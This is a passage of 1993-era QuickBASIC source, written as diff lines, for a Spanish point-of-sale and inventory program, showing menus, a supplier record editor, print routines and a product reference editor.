(Subchoice) + + + END IF + IF don = 2 THEN RETURN + GOTO MenuSystemMain + + + +MenuSystemReport: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + choice$(1) = " Ticket " + choice$(2) = " Balance " + choice$(3) = " Stock actual " + + menuRow(1) = 3: menuCol(1) = 39 + menuRow(2) = 4: menuCol(2) = 39 + menuRow(3) = 5: menuCol(3) = 39 + + help$(1) = "Ticket, comenzar a fichar" + help$(2) = "Total Vendido, dia, mes" + help$(3) = "Ver o imprimir Stock actual" + + Subchoice = Menu(1, 3, choice$(), menuRow(), menuCol(), help$(), false) + don = 2 + SELECT CASE Subchoice + CASE 1 + GOSUB empresa + Ticket (Subchoice%) + CASE 2 + GOSUB empresa + Balan (Subchoice%) + CASE 3 + GOSUB empresa + Stock (Subchoice%) + CASE ELSE + END SELECT + RETURN + +MenuSystemColors: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Monocrom tico " + choice$(2) = " Cyan/Azul " + choice$(3) = " Azul/Cyan " + choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 50 + menuRow(2) = 4: menuCol(2) = 50 + menuRow(3) = 5: menuCol(3) = 50 + menuRow(4) = 6: menuCol(4) = 50 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + Subchoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1 TO 4 + ColorPref = Subchoice + SaveState + CASE ELSE + END SELECT + RETURN + +help: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Uso de la ayuda " + choice$(2) = " Sobre los Men£s " + choice$(3) = " Grabaci¢n de Datos " + choice$(4) = " Acerca de... " + + menuRow(1) = 3: menuCol(1) = 57 + menuRow(2) = 4: menuCol(2) = 57 + menuRow(3) = 5: menuCol(3) = 57 + menuRow(4) = 6: menuCol(4) = 57 + + help$(1) = "Uso de la ayuda en Personal Financial" + help$(2) = "Ayuda en los men£s" + help$(3) = "Modo de grabar los Datos" + help$(4) = "Creditos del Personal Financial" + + Subchoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1 + RETURN + CASE 2 + RETURN + CASE 3 + RETURN + CASE 4 + box 9, 10, 16, 70 + center 10, "P E R S O N A L F I N A N C I A L" + center 12, "by" + center 14, "Jos‚ David Guill‚n (c) 1993" + center 16, "Pulse una tecla" + SLEEP + CASE ELSE + END SELECT + RETURN + + + + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + center 25, help$ +END SUB + +SUB Proveedores (lug%) +DIM Row(12), Col(12), vis(12), max(12), help$(12), CurrString$(12), she$(4) +Row(1) = 4: Col(1) = 11: vis(1) = 40: max(1) = 40 +Row(2) = 6: Col(2) = 14: vis(2) = 32: max(2) = 32 +Row(3) = 6: Col(3) = 62: vis(3) = 10: max(3) = 10 +Row(4) = 8: Col(4) = 14: vis(4) = 32: max(4) = 32 +Row(5) = 8: Col(5) = 59: vis(5) = 19: max(5) = 19 +Row(6) = 10: Col(6) = 14: vis(6) = 16: max(6) = 16 +Row(7) = 10: Col(7) = 58: vis(7) = 19: max(7) = 19 +Row(8) = 15: Col(8) = 21: vis(8) = 50: max(8) = 50 +Row(9) = 17: Col(9) = 13: vis(9) = 58: max(9) = 58 +Row(10) = 19: Col(10) = 21: vis(10) = 50: max(10) = 50 +Row(11) = 21: Col(11) = 14: vis(11) = 32: max(11) = 32 +Row(12) = 21: Col(12) = 59: vis(12) = 16: max(12) = 16 +help$(1) = "Nombre de la entidad Proveedora " +help$(2) = "Direcci¢n " +help$(3) = "Codigo Postal " +help$(4) = "Localidad " +help$(5) = "Provincia " +help$(6) = "Tel‚fono " +help$(7) = "C.I.F. " +help$(8) = "Entidad Bancaria " +help$(9) = "Material que Provee " +help$(10) = "Jefe de Ventas " +help$(11) = "Direcci¢n del Jefe V. " +help$(12) = "Tel‚fono del Jefe de V. " + +ON lug GOTO ip, mp, sp, bp, impr + +ip: +COLOR colors(7, ColorPref), colors(4, ColorPref): PRINT "SD" +entrada = 0: jk = 0 +nom$ = "": ape$ = "": Cal$ = "": num$ = "": Pis$ = "": lettt$ = "": tel$ = "" +GOSUB menu2 + +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 + FOR x = 1 TO LOF(1) / 56 + jk = jk + 1 + FIELD #1, 40 AS nom$, 16 AS tel$ + GET #1, x + IF RTRIM$(LTRIM$(nom$)) = "" THEN entrada = jk: GOTO ent + NEXT x + +entrada = jk + 1 + +ent: +CLOSE #1 + +IF entrada = 0 THEN entrada = 1 +LOCATE 2, 47: PRINT entrada +pieza = 0 + +empi: + +IF pieza = 3 THEN PrintHelpLine help$(1) + " | " +IF pieza = 0 THEN PrintHelpLine help$(1) + "| " + +a = 1 + DO + GOSUB showline + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB showline: ed = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + kbd$ = GetString$(Row(a), Col(a), kbd$, new$, vis(a), max(a)) + CurrString$(a) = new$ + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + IF pieza = 3 AND a = 1 THEN a = 4 ELSE IF pieza = 3 THEN a = a - 1 + IF pieza = 0 AND a = 1 THEN a = 12 ELSE IF pieza = 0 THEN a = a - 1 + + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + + + + CASE CHR$(0) + "P" 'Down arrow + IF pieza = 3 AND a = 4 THEN a = 1 ELSE IF pieza = 3 THEN a = a + 1 + IF pieza = 0 AND a = 12 THEN a = 1 ELSE IF pieza = 0 THEN a = a + 1 + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + IF pieza = 3 AND a = 1 THEN a = 4 ELSE IF pieza = 3 THEN a = a - 1 + IF pieza = 0 AND a = 1 THEN a = 12 ELSE IF pieza = 0 THEN a = a - 1 + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + IF pieza = 3 AND a = 4 THEN a = 1 ELSE IF pieza = 3 THEN a = a + 1 + IF pieza = 0 AND a = 12 THEN a = 1 ELSE IF pieza = 0 THEN a = a + 1 + + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "D" 'F10 + CLOSE : EXIT SUB + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished +IF pieza = 3 THEN RETURN + + +cont: + +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 +OPEN "proo2.dat" FOR RANDOM AS #2 LEN = 112 +OPEN "proo3.dat" FOR RANDOM AS #3 LEN = 206 + + FIELD #1, 40 AS nom2$, 16 AS Tel2$ + FIELD #2, 32 AS cal2$, 10 AS num2$, 32 AS Pis2$, 19 AS LET2$, 19 AS loc2$ + FIELD #3, 50 AS Cpu2$, 58 AS Ram2$, 50 AS TG2$, 32 AS Hd2$, 16 AS tel3$ + + LSET nom2$ = CurrString$(1): LSET Tel2$ = CurrString$(6) + LSET cal2$ = CurrString$(2): LSET num2$ = CurrString$(3): LSET Pis2$ = CurrString$(4): LSET LET2$ = CurrString$(5): LSET loc2$ = CurrString$(7) + LSET Cpu2$ = CurrString$(8): LSET Ram2$ = CurrString$(9): LSET TG2$ = CurrString$(10): LSET Hd2$ = CurrString$(11): LSET tel3$ = CurrString$(12) + + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada + IF valor = 3 THEN PUT #2, lf ELSE PUT #2, entrada + IF valor = 3 THEN PUT #3, lf ELSE PUT #3, entrada + +CLOSE #1, #2, #3 + +IF valor = 3 THEN RETURN +IF pieza = 3 THEN RETURN +LOCATE 13, 2: PRINT "¨Seguir introduciendo?" + + +we: +i$ = INKEY$ +IF i$ = "" THEN GOTO we +IF i$ = "S" OR i$ = "s" THEN GOTO ip ELSE CLOSE : EXIT SUB + + + +ep: +GOSUB menu2 +center 23, "Utilice + y - para ver las Fichas" +K = 0 + +mirp: +lf = 0 +CLOSE #1, #2, #3 +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 +OPEN "proo2.dat" FOR RANDOM AS #2 LEN = 112 +OPEN "proo3.dat" FOR RANDOM AS #3 LEN = 206 + +lf = 0 +vez = 1 + +DO + +pro: + + IF lf = 0 THEN lf = 1 + + + FIELD #1, 40 AS nom$, 16 AS tel$ + FIELD #2, 32 AS Cal$, 10 AS num$, 32 AS Pis$, 19 AS lettt$, 19 AS locc$ + FIELD #3, 50 AS cpu$, 58 AS ram$, 50 AS tg$, 32 AS hd$, 16 AS tel4$ + + GET #1, lf + GET #2, lf + GET #3, lf + + +g = 0 +IF K = 1 AND UCASE$(RTRIM$(LTRIM$(she$(1)))) <> UCASE$(MID$(nom$, 1, LEN(RTRIM$(LTRIM$(she$(1)))))) THEN GOSUB pw +IF K = 2 AND UCASE$(RTRIM$(LTRIM$(she$(2)))) <> UCASE$(MID$(Cal$, 1, LEN(RTRIM$(LTRIM$(she$(2)))))) THEN GOSUB pw +IF K = 3 AND UCASE$(RTRIM$(LTRIM$(she$(3)))) <> UCASE$(MID$(num$, 1, LEN(RTRIM$(LTRIM$(she$(3)))))) THEN GOSUB pw +IF K = 4 AND UCASE$(RTRIM$(LTRIM$(she$(4)))) <> UCASE$(MID$(tg$, 1, LEN(RTRIM$(LTRIM$(she$(4)))))) THEN GOSUB pw +IF g = 1 THEN GOTO pro + +IF RTRIM$(LTRIM$(nom$)) = "" AND r = 0 THEN lf = lf + 1: GOTO pro +IF RTRIM$(LTRIM$(nom$)) = "" AND r = 1 THEN lf = lf - 1: GOTO pro + + +vez = 0 +COLOR colors(3, ColorPref), colors(9, ColorPref) +LOCATE 4, 11: PRINT nom$ +LOCATE 6, 14: PRINT Cal$ +LOCATE 6, 62: PRINT num$ +LOCATE 8, 14: PRINT Pis$ +LOCATE 8, 59: PRINT lettt$ +LOCATE 10, 14: PRINT tel$ +LOCATE 10, 58: PRINT locc$ +LOCATE 15, 21: PRINT cpu$ +LOCATE 17, 13: PRINT ram$ +LOCATE 19, 21: PRINT tg$ +LOCATE 21, 14: PRINT hd$ +LOCATE 21, 59: PRINT tel4$ +COLOR colors(7, ColorPref), colors(4, ColorPref) +nom$ = nom$: Cal$ = Cal$: num$ = num$: Pis$ = Pis$: lettt$ = lettt$: locc$ = locc$ +tel$ = tel$: cpu$ = cpu$: ram$ = ram$: tg$ = tg$: hd$ = hd$: tel4$ = tel4$ +CurrString$(1) = nom$ +CurrString$(2) = Cal$ +CurrString$(3) = num$ +CurrString$(4) = Pis$ +CurrString$(5) = lettt$ +CurrString$(6) = tel$ +CurrString$(7) = locc$ +CurrString$(8) = cpu$ +CurrString$(9) = ram$ +CurrString$(10) = tg$ +CurrString$(11) = hd$ +CurrString$(12) = tel$ +tipo = 0 + + +T: + w$ = INKEY$: IF w$ = "" THEN GOTO T + IF w$ = "+" THEN lf = lf + 1: r = 0 + IF w$ = "-" THEN lf = lf - 1: r = 1 + IF w$ = CHR$(27) THEN CLOSE : EXIT SUB + IF w$ = CHR$(13) AND valor = 3 THEN CLOSE #1, #2, #3: RETURN + IF w$ = CHR$(13) AND valor = 2 THEN CLOSE #1, #2, #3: RETURN + + IF lf > LOF(1) / 56 THEN lf = lf - 1: GOTO T + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO T + IF tipo = 1 THEN GOTO pro + +LOOP + +CLOSE #1, #2, #3 + +END + +pw: +IF vez = 1 AND r = 0 THEN lf = lf + 1: g = 1 +IF vez = 1 AND r = 1 THEN lf = lf - 1: g = 1 +IF g = 0 AND r = 0 THEN lf = lf + 1 +IF g = 0 AND r = 1 THEN lf = lf - 1 + + + IF lf > LOF(1) / 56 AND vez = 1 THEN GOTO filenotfound + IF lf > LOF(1) / 56 THEN lf = lf - 1: GOTO T + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO T +tipo = 1 +g = 1 + +RETURN +END + +mp: +valor = 0 +GOSUB menu2 +valor = 3 + +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "Use + o - y <ÄÙ para editar ficha" + +GOSUB mirp + +GOSUB empi +EXIT SUB + +r: +i$ = INKEY$: IF i$ = "" THEN GOTO r +IF i$ = "S" OR i$ = "s" THEN GOTO mp ELSE CLOSE : EXIT SUB + + + +bp: +valor = 0 +GOSUB menu2 +valor = 3 +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "Use + o - y <ÄÙ para borrar ficha" + +GOSUB mirp +FOR wq = 1 TO 12 +CurrString$(wq) = "" +NEXT wq + + +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "Pulse 'S' si desea eliminarla" +r3: +i$ = INKEY$: IF i$ = "" THEN GOTO r3 +IF i$ = "S" OR i$ = "s" THEN GOTO po ELSE CLOSE : EXIT SUB + +po: +GOSUB cont +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "¨Desea eliminar otra ficha?" +r2: +i$ = INKEY$: IF i$ = "" THEN GOTO r2 +IF i$ = "S" OR i$ = "s" THEN GOTO bp ELSE CLOSE : EXIT SUB + + +finentrada: +END + +impr: +REM FICHERO PARA IMPRIMIR + +COLOR colors(7, ColorPref), colors(4, ColorPref) +box 13, 33, 19, 72 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." + + +n: +q$ = INKEY$: IF q$ = "" THEN GOTO n +IF q$ = CHR$(27) THEN EXIT SUB +box 13, 33, 19, 72 +LOCATE 15, 34: PRINT "Elija modo de impresion:" +LOCATE 17, 39: PRINT "(a) Lista simple" +LOCATE 18, 39: PRINT "(b) Lista completa" +COLOR colors(8, ColorPref), colors(9, ColorPref) +hn: +q$ = INKEY$: IF q$ = "" THEN GOTO hn +IF q$ = CHR$(27) THEN EXIT SUB +IF q$ = "A" OR q$ = "a" THEN GOTO ls +IF q$ = "B" OR q$ = "b" THEN GOTO lc +GOTO hn + + +ls: +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +IF printerr = true THEN GOTO ls + + +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 + FOR x = 1 TO LOF(1) / 56 + FIELD #1, 40 AS nom$, 16 AS tel$ + GET #1, x + IF RTRIM$(LTRIM$(nom$)) = "" THEN GOTO continua + IF kop = 0 THEN + LPRINT " Nombre de la entidad proveedora Tel‚fono ": LPRINT + kop = 1 + END IF + LPRINT nom$ + " " + tel$ + b = b + 1: IF b = 50 THEN GOSUB finlista +continua: + NEXT x +CLOSE #1 +CLOSE : EXIT SUB + +finlista: +box 13, 33, 19, 72 +LOCATE 15, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 16, 34: PRINT " Pulse entonces una tecla para " +LOCATE 17, 34: PRINT " continuar listando. " + +M: +IF INKEY$ = "" THEN GOTO M +box 13, 33, 19, 72 +LOCATE 16, 34: PRINT " IMPRIMIENDO " + +b = 0: RETURN + +lc: +valor = 2 +GOSUB menu2 +center 23, "Seleccione ficha a imprimir..." +GOSUB mirp + +lf: +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +IF printerr = true THEN GOTO lf + + + +LPRINT " Tratamiento de Proveedores ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +LPRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±"; +LPRINT "³ ³±"; +LPRINT "³ Nombre: " + nom$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Direcci¢n: " + Cal$ + " Cod. Postal: " + num$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Localidad: " + Pis$ + " Provincia: " + lettt$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Tel‚fono: " + tel$ + " C.I.F.: " + locc$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´±"; +LPRINT "³±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +LPRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +LPRINT "³ Entidad Bancaria: " + cpu$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Material: " + ram$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Jefe de Ventas: " + tg$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Direcci¢n: " + hd$ + " Tel‚fono: " + tel$ + " ³±"; +LPRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +LPRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +LPRINT "Base de Datos y Programa TPV, por Jos‚ David Guill‚n, para Guill‚n Dominguez s.l."; +FancyCls colors(2, ColorPref), colors(1, ColorPref) +box 10, 15, 14, 65 +center 12, "Cuando deje de imprimir, pulse una tecla" +SLEEP +CLOSE : EXIT SUB + +sp: +valor = 0: pieza = 3 +GOSUB menu2 +LOCATE 13, 2: PRINT "Introduzca parte a buscar..." +lili: +Row(1) = 4: Col(1) = 11: vis(1) = 40: max(1) = 40 +Row(2) = 8: Col(2) = 14: vis(2) = 32: max(2) = 32 +Row(3) = 8: Col(3) = 59: vis(3) = 19: max(3) = 19 +Row(4) = 17: Col(4) = 13: vis(4) = 58: max(4) = 58 +help$(1) = "Nombre de la entidad Proveedora " +help$(2) = "Localidad " +help$(3) = "Provincia " +help$(4) = "Material que Provee " + +GOSUB empi +FOR qwq = 1 TO 4 +IF LTRIM$(RTRIM$(CurrString$(qwq))) <> "" THEN she$(qwq) = CurrString$(qwq): K = qwq +NEXT qwq +IF pieza = 0 THEN pieza = 3: GOTO lili +PrintHelpLine "Pulse (Esc) para salir y + -" +GOTO mirp +EXIT SUB + +filenotfound: +LOCATE 13, 2: PRINT "Ficha no encontrada" +SLEEP +COLOR colors(7, ColorPref), colors(4, ColorPref) +GOTO sp +END + +menu2: +LOCATE 1, 1 +PRINT " Tratamiento de Proveedores ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±"; +PRINT "³ ³±"; +PRINT "³ Nombre: ³±"; +PRINT "³ ³±"; +PRINT "³ Direcci¢n: Cod. Postal: ³±"; +PRINT "³ ³±"; +PRINT "³ Localidad: Provincia: ³±"; +PRINT "³ ³±"; +PRINT "³ Tel‚fono: C.I.F.: ³±"; +PRINT "³ ³±"; +PRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´±"; +PRINT "³±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +PRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +PRINT "³ Entidad Bancaria: ³±"; +PRINT "³ ³±"; +PRINT "³ Material: ³±"; +PRINT "³ ³±"; +PRINT "³ Jefe de Ventas: ³±"; +PRINT "³ ³±"; +PRINT "³ Direcci¢n: Tel‚fono: ³±"; +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; + +RETURN + +showline: +IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE Row(a), Col(a) + + IF RTRIM$(LTRIM$(CurrString$(a))) <> "" THEN + PRINT CurrString$(a) + ELSE + PRINT SPACE$(vis(a)) + END IF + + RETURN + + +lg: + + +CLOSE : EXIT SUB +END SUB + +SUB Referencias (op%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6), lin$(130), ref1000#(1000) + + 'Array to keep the current balance at all the transactions + 'Open random access file + + file$ = "Ref#." + Cvit$(op%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + MaxRecord = VAL(IoMaxRecord$) + + ref1000#(0) = 0 + a = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + ref1000#(a) = VAL(IoRef$) + a = a + 1 + WEND + + + help$(1) = "Referencia del Producto " + help$(2) = "Nombre del Producto " + help$(3) = "Unidades parciales, ( o por caja ) " + help$(4) = "P.V.P. del Producto, ( por unidad )" + help$(5) = "Precio de Costo, ( la unidad ) " + + Col(1) = 4: vis(1) = 10: max(1) = 6 + Col(2) = 16: vis(2) = 22: max(2) = 22 + Col(3) = 40: vis(3) = 9: max(3) = 3 + Col(4) = 50: vis(4) = 12: max(4) = 8 + Col(5) = 63: vis(5) = 13: max(5) = 8 + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + + box 2, 3, 24, 76 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Referencias de la Empresa: " + Trim$(account(op%).Title); + + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 4: PRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. " + LOCATE 4, 4: PRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + CurrTopline = 1 + GOSUB EditTransPrintWholeScreen2 + + CurrRow = 1 + CurrCol = 1 + + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditTransGetLine2 + + finished = false + + + + + 'Loop until is pressed + DO + GOSUB EditTransShowCursor2 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditTransShowCursor2: ed = 0: 'Oculta el cursor para obtener datos ED=1 + + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem2 + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp2 + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown2 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 5 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 19 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + GOSUB EditTransPrintWholeScreen2 + GOSUB EditTransGetLine2 + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 19 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + GOSUB EditTransPrintWholeScreen2 + GOSUB EditTransGetLine2 + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord2 + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord2 + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor2: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + + CASE 3 + + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + + CASE 4 + IF CurrFig#(4) <> 0 THEN PRINT " "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT " "; + + + CASE 5 + IF CurrFig#(5) <> 0 THEN PRINT " "; : PRINT USING u2$; CurrFig#(5); ELSE PRINT " "; + + END SELECT + + RETURN + + +EditTransEditItem2: + + CurrRecord = CurrTopline + CurrRow - 1 + +EditTransEditItem3: + + COLOR colors(8, ColorPref), colors(9, ColorPref) + SELECT CASE CurrCol + + CASE 1 + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 100001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + DO WHILE ref1000#(b) <> 0 OR b = 999 + IF ref1000#(b) = CurrFig#(2) THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 24, 19, 49 + LOCATE 18, 25: PRINT "Esa Referencia ya existe" + SLEEP + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + reg = 1 + EXIT DO + END IF + b = b + 1 + LOOP + + IF reg = 1 THEN GOTO EditTransEditItem3 + + + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE 2 + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + + GOSUB 